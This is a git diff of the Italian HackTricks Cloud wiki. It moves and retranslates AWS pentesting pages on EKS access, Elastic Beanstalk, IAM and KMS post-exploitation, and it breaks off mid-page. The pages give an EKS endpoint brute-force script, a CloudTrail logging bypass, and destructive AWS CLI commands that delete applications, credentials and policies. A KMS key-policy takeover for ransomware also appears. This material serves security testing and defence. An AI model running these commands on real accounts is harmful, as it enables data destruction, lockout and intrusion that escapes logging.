+certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
+server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+contexts:
+- context:
+cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+kind: Config
+preferences: {}
+users:
+- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user:
+exec:
+apiVersion: client.authentication.k8s.io/v1beta1
+args:
+- --region
+- us-west-2
+- --profile
+- <profile>
+- eks
+- get-token
+- --cluster-name
+- <cluster-name>
+command: aws
+env: null
+interactiveMode: IfAvailable
+provideClusterInfo: false
+```
+</details>
+
+### From AWS to Kubernetes
+
+Il **creator** del **EKS cluster** potrà **SEMPRE** accedere alla parte del cluster kubernetes del gruppo **`system:masters`** (k8s admin). Al momento della stesura non esiste **un modo diretto** per scoprire **chi ha creato** il cluster (puoi controllare CloudTrail). E non esiste **alcun modo** per **rimuovere** quel **privilegio**.
+
+Il modo per concedere **accesso a K8s a più AWS IAM users o roles** è usando la **configmap** **`aws-auth`**.
+
+> [!WARNING]
+> Quindi, chiunque abbia **accesso in scrittura** alla config map **`aws-auth`** sarà in grado di **compromettere l'intero cluster**.
+
+Per maggiori informazioni su come **concedere privilegi extra a IAM roles & users** nello **stesso o in un account diverso** e come **abusarne** per fare [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
+
+Vedi anche[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post per capire come funziona l'autenticazione IAM -> Kubernetes**.
+
+### From Kubernetes to AWS
+
+È possibile permettere un'autenticazione OpenID per i kubernetes service account per consentire loro di assumere ruoli in AWS. Scopri come [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
+
+### GET Api Server Endpoint from a JWT Token
+
+Decodificando il token JWT otteniamo il cluster id e anche la regione. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sapendo che il formato standard per l'url EKS è
+```bash
+https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
+```
+Non ho trovato alcuna documentazione che spieghi i criteri per i 'due caratteri' e il 'numero'. Però, facendo alcuni test per mio conto, vedo ricorrere questi:
+
+- gr7
+- yl4
+
+Comunque sono solo 3 caratteri: possiamo eseguire il bruteforce su di essi. Usa lo script qui sotto per generare la lista
+```python
+from itertools import product
+from string import ascii_lowercase
+
+letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
+number_combinations = product('0123456789', repeat = 1)
+
+result = [
+f'{''.join(comb[0])}{comb[1][0]}'
+for comb in product(letter_combinations, number_combinations)
+]
+
+with open('out.txt', 'w') as f:
+f.write('\n'.join(result))
+```
+Poi con wfuzz
+```bash
+wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
+```
+> [!WARNING]
+> Ricorda di sostituire & .
+
+### Bypass CloudTrail
+
+If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally).
+
+So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**.
+
+Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled).
+
+### EKS Ransom?
+
+Di default lo **user or role that created** un cluster avrà **ALWAYS admin privileges** sul cluster. E questo è l'unico accesso "secure" che AWS avrà sul Kubernetes cluster.
+
+Quindi, se un **attacker compromette un cluster usando fargate** e **rimuove tutti gli altri admins** e **elimina lo AWS user/role che ha creato** il Cluster, ~~the attacker could have **ransomed the cluste**~~**r**.
+
+> [!TIP]
+> Nota che se il cluster stava usando **EC2 VMs**, potrebbe essere possibile ottenere privilegi Admin dal **Node** e recuperare il cluster.
+>
+> In realtà, se il cluster usa Fargate potresti creare EC2 nodes o spostare tutto su EC2 nel cluster e recuperarlo accedendo ai tokens nel node.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
deleted file mode 100644
index 4f43d9f65..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# AWS - Elastic Beanstalk Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Elastic Beanstalk
-
-Per ulteriori informazioni:
-
-{{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
-{{#endref}}
-
-### `elasticbeanstalk:DeleteApplicationVersion`
-
-> [!NOTE]
-> TODO: Testare se sono necessarie ulteriori autorizzazioni per questo
-
-Un attaccante con il permesso `elasticbeanstalk:DeleteApplicationVersion` può **eliminare una versione di applicazione esistente**. Questa azione potrebbe interrompere i pipeline di distribuzione dell'applicazione o causare la perdita di versioni specifiche dell'applicazione se non vengono eseguiti backup.
-```bash
-aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
-```
-**Impatto Potenziale**: Interruzione del deployment dell'applicazione e potenziale perdita delle versioni dell'applicazione.
-
-### `elasticbeanstalk:TerminateEnvironment`
-
-> [!NOTE]
-> TODO: Testare se sono necessarie ulteriori autorizzazioni per questo
-
-Un attaccante con l'autorizzazione `elasticbeanstalk:TerminateEnvironment` può **terminare un ambiente Elastic Beanstalk esistente**, causando inattività per l'applicazione e potenziale perdita di dati se l'ambiente non è configurato per i backup.
-```bash
-aws elasticbeanstalk terminate-environment --environment-name my-existing-env
-```
-**Impatto Potenziale**: Interruzione dell'applicazione, potenziale perdita di dati e interruzione dei servizi.
-
-### `elasticbeanstalk:DeleteApplication`
-
-> [!NOTE]
-> TODO: Testare se sono necessarie ulteriori autorizzazioni per questo
-
-Un attaccante con l'autorizzazione `elasticbeanstalk:DeleteApplication` può **eliminare un'intera applicazione Elastic Beanstalk**, comprese tutte le sue versioni e ambienti. Questa azione potrebbe causare una significativa perdita di risorse e configurazioni dell'applicazione se non viene eseguito un backup.
-```bash
-aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
-```
-**Impatto Potenziale**: Perdita di risorse dell'applicazione, configurazioni, ambienti e versioni dell'applicazione, portando a interruzioni del servizio e potenziale perdita di dati.
-
-### `elasticbeanstalk:SwapEnvironmentCNAMEs`
-
-> [!NOTE]
-> TODO: Testare se sono necessarie ulteriori autorizzazioni per questo
-
-Un attaccante con il permesso `elasticbeanstalk:SwapEnvironmentCNAMEs` può **scambiare i record CNAME di due ambienti Elastic Beanstalk**, il che potrebbe causare la visualizzazione della versione sbagliata dell'applicazione agli utenti o portare a comportamenti indesiderati.
-```bash
-aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
-```
-**Impatto Potenziale**: Servire la versione sbagliata dell'applicazione agli utenti o causare comportamenti indesiderati nell'applicazione a causa di ambienti scambiati.
-
-### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
-
-> [!NOTE]
-> TODO: Testare se sono necessarie ulteriori autorizzazioni per questo
-
-Un attaccante con le autorizzazioni `elasticbeanstalk:AddTags` e `elasticbeanstalk:RemoveTags` può **aggiungere o rimuovere tag sulle risorse di Elastic Beanstalk**. Questa azione potrebbe portare a un'allocazione errata delle risorse, fatturazione o gestione delle risorse.
-```bash
-aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
-
-aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
-```
-**Impatto Potenziale**: Allocazione errata delle risorse, fatturazione o gestione delle risorse a causa di tag aggiunti o rimossi.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md
new file mode 100644
index 000000000..8f1675f53
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation/README.md
@@ -0,0 +1,70 @@
+# AWS - Elastic Beanstalk Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+Per ulteriori informazioni:
+
+{{#ref}}
+../../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### `elasticbeanstalk:DeleteApplicationVersion`
+
+> [!NOTE]
+> TODO: Verificare se sono necessarie altre autorizzazioni per questo
+
+Un attaccante con il permesso `elasticbeanstalk:DeleteApplicationVersion` può **eliminare una versione dell'applicazione esistente**. Questa azione potrebbe interrompere le pipeline di deployment dell'applicazione o causare la perdita di versioni specifiche dell'applicazione se non sono state eseguite copie di backup.
+```bash
+aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
+```
+**Impatto potenziale**: Interruzione del deployment dell'applicazione e possibile perdita delle versioni dell'applicazione.
+
+### `elasticbeanstalk:TerminateEnvironment`
+
+> [!NOTE]
+> TODO: Verificare se sono necessarie ulteriori autorizzazioni per questo
+
+Un attaccante con il permesso `elasticbeanstalk:TerminateEnvironment` può **terminare un ambiente Elastic Beanstalk esistente**, causando un'interruzione del servizio per l'applicazione e possibile perdita di dati se l'ambiente non è configurato per i backup.
+```bash
+aws elasticbeanstalk terminate-environment --environment-name my-existing-env
+```
+**Impatto potenziale**: indisponibilità dell'applicazione, possibile perdita di dati e interruzione dei servizi.
+
+### `elasticbeanstalk:DeleteApplication`
+
+> [!NOTE]
+> TODO: Verificare se sono necessarie ulteriori autorizzazioni per questo
+
+Un attacker con il permesso `elasticbeanstalk:DeleteApplication` può **eliminare un'intera applicazione Elastic Beanstalk**, incluse tutte le sue versioni e ambienti. Questa azione potrebbe causare una perdita significativa di risorse e configurazioni dell'applicazione se non sono stati eseguiti backup.
+```bash
+aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
+```
+**Impatto potenziale**: Perdita di risorse dell'applicazione, configurazioni, ambienti e versioni dell'applicazione, con conseguente interruzione del servizio e possibile perdita di dati.
+
+### `elasticbeanstalk:SwapEnvironmentCNAMEs`
+
+> [!NOTE]
+> TODO: Verificare se per questo sono necessari permessi aggiuntivi
+
+Un attacker con il permesso `elasticbeanstalk:SwapEnvironmentCNAMEs` può **scambiare i record CNAME di due ambienti Elastic Beanstalk**, il che potrebbe causare che venga servita agli utenti la versione sbagliata dell'applicazione o portare a comportamenti indesiderati.
+```bash
+aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
+```
+**Impatto potenziale**: Servire agli utenti la versione sbagliata dell'applicazione o causare comportamenti imprevisti nell'applicazione a causa di ambienti scambiati.
+
+### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
+
+> [!NOTE]
+> TODO: Verificare se per questo sono necessarie ulteriori autorizzazioni
+
+Un attaccante con i permessi `elasticbeanstalk:AddTags` e `elasticbeanstalk:RemoveTags` può **aggiungere o rimuovere tag sulle risorse di Elastic Beanstalk**. Questa azione potrebbe portare a un'allocazione errata delle risorse, a problemi di fatturazione o a una gestione errata delle risorse.
+```bash
+aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
+
+aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
+```
+**Impatto potenziale**: allocazione errata delle risorse, fatturazione o gestione delle risorse a causa di tag aggiunti o rimossi.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
similarity index 52%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
index c2cb9fca0..422ca00df 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md
@@ -1,24 +1,24 @@
 # AWS - IAM Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## IAM
 
 Per maggiori informazioni sull'accesso IAM:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
-## Problema del Confused Deputy
+## Confused Deputy Problem
 
-Se **permetti a un account esterno (A)** di accedere a un **role** nel tuo account, probabilmente avrai **0 visibilità** su **chi può esattamente accedere a quell'account esterno**. Questo è un problema, perché se un altro account esterno (B) può accedere all'account esterno (A) è possibile che **B possa anche accedere al tuo account**.
+Se **consenti a un account esterno (A)** di accedere a un **role** nel tuo account, probabilmente avrai **0 visibilità** su **chi possa esattamente accedere a quell'account esterno**. Questo è un problema, perché se un altro account esterno (B) può accedere all'account esterno (A) è possibile che **B possa anche accedere al tuo account**.
 
-Per questo, quando permetti a un account esterno di accedere a un role nel tuo account è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per **assume the role in your organization**. Poiché l'**account esterno B non conoscerà questa stringa**, anche se ha accesso ad A **non potrà accedere al tuo role**.
+Perciò, quando permetti a un account esterno di accedere a un role nel tuo account è possibile specificare un `ExternalId`. Questa è una stringa "segreta" che l'account esterno (A) **deve specificare** per **assume the role in your organization**. Poiché **l'account esterno B non conoscerà questa stringa**, anche se ha accesso ad A **non sarà in grado di accedere al tuo role**.
 
 <figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
 
-Tuttavia, nota che questo `ExternalId` "segreto" è **non è un segreto**, chiunque possa **read the IAM assume role policy will be able to see it**. Ma finché l'account esterno A lo conosce, e l'account esterno **B non lo conosce**, questo **impedisce a B di abusare di A per accedere al tuo role**.
+Tuttavia, nota che questo `ExternalId` "segreto" **non è un segreto**, chiunque possa **leggere la IAM assume role policy sarà in grado di vederlo**. Ma fintanto che l'account esterno A lo conosce, e l'account esterno **B non lo conosce**, questo **impedisce a B di abusare di A per accedere al tuo role**.
 
 Esempio:
 ```json
@@ -39,9 +39,9 @@ Esempio:
 }
 ```
 > [!WARNING]
-> Per un attacker che voglia sfruttare un confused deputy, dovrà in qualche modo verificare se i principals dell'account corrente possono impersonare roles in altri account.
+> Perché un attacker possa sfruttare un confused deputy, dovrà in qualche modo verificare se i principals del current account possono impersonare ruoli in altri account.
 
-### Trust inattesi
+### Trust inaspettati
 
 #### Wildcard come principal
 ```json
@@ -51,9 +51,9 @@ Esempio:
 "Principal": { "AWS": "*" }
 }
 ```
-Questa policy **consente a tutti i servizi AWS** di assumere il ruolo.
+Questa policy **consente a tutti gli account AWS** di assumere il ruolo.
 
-#### Servizio come principale
+#### Service as principal
 ```json
 {
 "Action": "lambda:InvokeFunction",
@@ -64,7 +64,7 @@ Questa policy **consente a tutti i servizi AWS** di assumere il ruolo.
 ```
 Questa policy **consente a qualsiasi account** di configurare il proprio apigateway per chiamare questa Lambda.
 
-#### S3 come principal
+#### S3 come principale
 ```json
 "Condition": {
 "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
@@ -73,7 +73,7 @@ Questa policy **consente a qualsiasi account** di configurare il proprio apigate
 }
 }
 ```
-Se un S3 bucket è dato come principal, dato che gli S3 bucket non hanno un Account ID, se hai **eliminato il tuo bucket e l'attaccante lo ha creato** nel proprio account, allora potrebbe abusarne.
+Se un bucket S3 è specificato come principal, poiché i bucket S3 non hanno un Account ID, se tu **hai eliminato il tuo bucket e l'attaccante lo ha creato** nel proprio account, allora potrebbe abusarne.
 
 #### Non supportato
 ```json
@@ -84,10 +84,10 @@ Se un S3 bucket è dato come principal, dato che gli S3 bucket non hanno un Acco
 "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
 }
 ```
-Un modo comune per evitare i problemi di Confused Deputy è l'uso di una condizione con `AWS:SourceArn` per verificare l'ARN di origine. Tuttavia, **alcuni servizi potrebbero non supportarlo** (per esempio CloudTrail secondo alcune fonti).
+Una pratica comune per evitare problemi di Confused Deputy è l'utilizzo di una condizione con `AWS:SourceArn` per verificare l'ARN di origine. Tuttavia, **alcuni servizi potrebbero non supportarlo** (ad esempio CloudTrail secondo alcune fonti).
 
-### Eliminazione delle credenziali
-Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un attore può rimuovere access keys, login profiles, chiavi SSH, service-specific credentials, instance profiles, certificati o CloudFront public keys, o dissociare ruoli da instance profiles. Tali azioni possono bloccare immediatamente utenti e applicazioni legittimi e causare denial-of-service o perdita di accesso per i sistemi che dipendono da quelle credenziali, quindi questi permessi IAM devono essere strettamente limitati e monitorati.
+### Cancellazione delle credenziali
+Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — un attore può rimuovere access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates o CloudFront public keys, oppure disassociare ruoli da instance profiles. Tali azioni possono bloccare immediatamente utenti e applicazioni legittimi e causare denial-of-service o perdita di accesso per sistemi che dipendono da quelle credenziali, quindi questi permessi IAM devono essere strettamente limitati e monitorati.
 ```bash
 # Remove Access Key of a user
 aws iam delete-access-key \
@@ -115,7 +115,7 @@ aws iam delete-role \
 --role-name <Role>
 ```
 ###
-Con una qualunque delle seguenti autorizzazioni — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un attore può eliminare o scollegare policy gestite/inline, rimuovere versioni di policy o permissions boundaries e dissociare le policy da utenti, gruppi o ruoli. Questo distrugge le autorizzazioni e può alterare il modello dei permessi, causando perdita immediata di accesso o denial-of-service per i principals che dipendevano da quelle policy, quindi queste azioni IAM devono essere strettamente limitate e monitorate.
+Con una qualsiasi delle seguenti autorizzazioni — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — un attore può eliminare o scollegare policy gestite/inline, rimuovere versioni di policy o confini di autorizzazione, e scollegare policy da utenti, gruppi o ruoli. Questo compromette le autorizzazioni e può alterare il modello dei permessi, causando perdita immediata di accesso o denial-of-service per i soggetti che dipendevano da quelle policy, quindi queste azioni IAM devono essere strettamente limitate e monitorate.
 ```bash
 # Delete a group policy
 aws iam delete-group-policy \
@@ -127,8 +127,8 @@ aws iam delete-role-policy \
 --role-name <RoleName> \
 --policy-name <PolicyName>
 ```
-### Federated Identity Deletion
-Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` e `iam:RemoveClientIDFromOpenIDConnectProvider`, un attore può eliminare OIDC/SAML identity providers o rimuovere client ID. Ciò interrompe l'autenticazione federata, impedendo la validazione dei token e negando immediatamente l'accesso ad utenti e servizi che si basano su SSO fino a quando l'IdP o le configurazioni non vengono ripristinate.
+### Eliminazione delle identità federate
+Con `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` e `iam:RemoveClientIDFromOpenIDConnectProvider`, un attore può eliminare provider di identità OIDC/SAML o rimuovere client IDs. Questo interrompe l'autenticazione federata, impedendo la validazione dei token e negando immediatamente l'accesso agli utenti e ai servizi che si basano su SSO fino al ripristino dell'IdP o delle configurazioni.
 ```bash
 # Delete OIDCP provider
 aws iam delete-open-id-connect-provider \
@@ -139,7 +139,7 @@ aws iam delete-saml-provider \
 --saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
 ```
 ### Attivazione MFA illegittima
-Con `iam:EnableMFADevice`, un attore può registrare un dispositivo MFA sull'identità di un utente, impedendo all'utente legittimo di accedere. Una volta abilitato un MFA non autorizzato, l'utente può essere bloccato fino a quando il dispositivo non viene rimosso o reimpostato (nota: se sono registrati più dispositivi MFA, per l'accesso ne è sufficiente uno, quindi questo attacco non avrà effetto nel negare l'accesso).
+Con `iam:EnableMFADevice`, un attaccante può registrare un MFA device sull'identità di un utente, impedendo all'utente legittimo di accedere. Una volta che un MFA non autorizzato è abilitato, l'utente può essere bloccato fino a quando il dispositivo non viene rimosso o ripristinato (nota: se sono registrati più MFA devices, per l'accesso ne basta uno, quindi questo attacco non avrà effetto nel negare l'accesso).
 ```bash
 aws iam enable-mfa-device \
 --user-name <Username> \
@@ -147,8 +147,8 @@ aws iam enable-mfa-device \
 --authentication-code1 123456 \
 --authentication-code2 789012
 ```
-### Certificate/Key Metadata Tampering
-Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un attore può modificare lo stato o i metadati delle chiavi pubbliche e dei certificati. Marcando le chiavi/certificati come inattivi o alterando i riferimenti, può interrompere l'autenticazione SSH, invalidare le validazioni X.509/TLS e interrompere immediatamente i servizi che dipendono da quelle credenziali, causando perdita di accesso o disponibilità.
+### Manomissione dei metadati di certificati/chiavi
+Con `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, un attore può modificare lo stato o i metadati delle chiavi pubbliche e dei certificati. Segnando chiavi/certificati come inattivi o alterando i riferimenti, può interrompere l'autenticazione SSH, invalidare le validazioni X.509/TLS e interrompere immediatamente i servizi che dipendono da quelle credenziali, causando perdita di accesso o disponibilità.
 ```bash
 aws iam update-ssh-public-key \
 --user-name <Username> \
@@ -163,4 +163,4 @@ aws iam update-server-certificate \
 
 - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
deleted file mode 100644
index df7bcc6a0..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ /dev/null
@@ -1,182 +0,0 @@
-# AWS - KMS Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-Per maggiori informazioni consulta:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### Crittografia/Decrittografia delle informazioni
-
-`fileb://` and `file://` sono schemi URI usati nei comandi AWS CLI per specificare il percorso ai file locali:
-
-- `fileb://:` Legge il file in modalità binaria, comunemente usato per file non di testo.
-- `file://:` Legge il file in modalità testo, tipicamente usato per file di testo semplice, script o JSON che non ha requisiti di codifica speciali.
-
-> [!TIP]
-> Nota che se vuoi decrittare dei dati all'interno di un file, il file deve contenere i dati binari, non dati codificati in base64. (fileb://)
-
-- Usando una chiave **simmetrica**
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---key-id f0d3d719-b054-49ec-b515-4095b4777049 \
---output text \
---query Plaintext | base64 \
---decode
-```
-- Utilizzando una chiave **asimmetrica**:
-```bash
-# Encrypt data
-aws kms encrypt \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---plaintext fileb:///tmp/hello.txt \
---output text \
---query CiphertextBlob | base64 \
---decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
---ciphertext-blob fileb://ExampleEncryptedFile \
---encryption-algorithm RSAES_OAEP_SHA_256 \
---key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
---output text \
---query Plaintext | base64 \
---decode
-```
-### KMS Ransomware
-
-Un attaccante con accesso privilegiato a KMS potrebbe modificare la KMS policy delle chiavi e **concedere al proprio account l'accesso su di esse**, rimuovendo l'accesso concesso all'account legittimo.
-
-In seguito, gli utenti dell'account legittimo non potranno accedere a nessuna informazione di alcun servizio crittografata con quelle chiavi, creando un ransomware semplice ma efficace sull'account.
-
-> [!WARNING]
-> Nota che **AWS managed keys non sono interessate** da questo attacco, solo **Customer managed keys**.
-
-> Inoltre, nota la necessità di usare il parametro **`--bypass-policy-lockout-safety-check`** (la mancanza di questa opzione nella console web rende questo attacco possibile solo dalla CLI).
-```bash
-# Force policy change
-aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
---policy-name default \
---policy file:///tmp/policy.yaml \
---bypass-policy-lockout-safety-check
-
-{
-"Id": "key-consolepolicy-3",
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "Enable IAM User Permissions",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::<your_own_account>:root"
-},
-"Action": "kms:*",
-"Resource": "*"
-}
-]
-}
-```
-> [!CAUTION]
